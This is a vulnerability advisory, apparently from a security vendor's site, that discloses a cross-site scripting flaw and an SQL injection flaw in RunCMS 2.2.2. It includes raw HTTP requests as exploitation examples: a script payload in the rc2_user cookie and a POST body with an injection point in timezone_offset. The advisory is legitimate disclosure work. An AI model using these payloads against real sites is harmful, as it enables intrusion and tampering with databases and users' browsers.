Total Tests:

Multiple Vulnerabilities in RunCMS

Advisory ID:HTB22820
Product:RunCMS
Vendor:http://www.runcms.org/
Vulnerable Versions:2.2.2 and probably prior
Tested Version:2.2.2
Advisory Publication:January 27, 2011 [without technical details]
Vendor Notification:January 27, 2011
Public Disclosure:February 10, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in RunCMS which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in RunCMS
The vulnerability exists due to input sanitation error in the "rc2_user" cookie in user.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
GET /user.php HTTP/1.1
Cookie: rc2_user='><script>alert("XSS")%3b</script>


2) SQL injection vulnerability in RunCMS
The vulnerability exists due to input sanitation errors in the "timezone_offset" parameter in register.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 299
uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address= nope&zip_code=123&town =nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL _CODE_HERE&url=http%3A%2 F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verif y_text=&verify_crc=&keys tring=368483&op=finish

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22820 - https://www.immuniweb.com/advisory/HTB22820 - Multiple Vulnerabilities in RunCMS
[2] RunCMS - runcms.org - RunCMS is a CMS where ease of use, speed, & flexibility are the main development keypoints.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential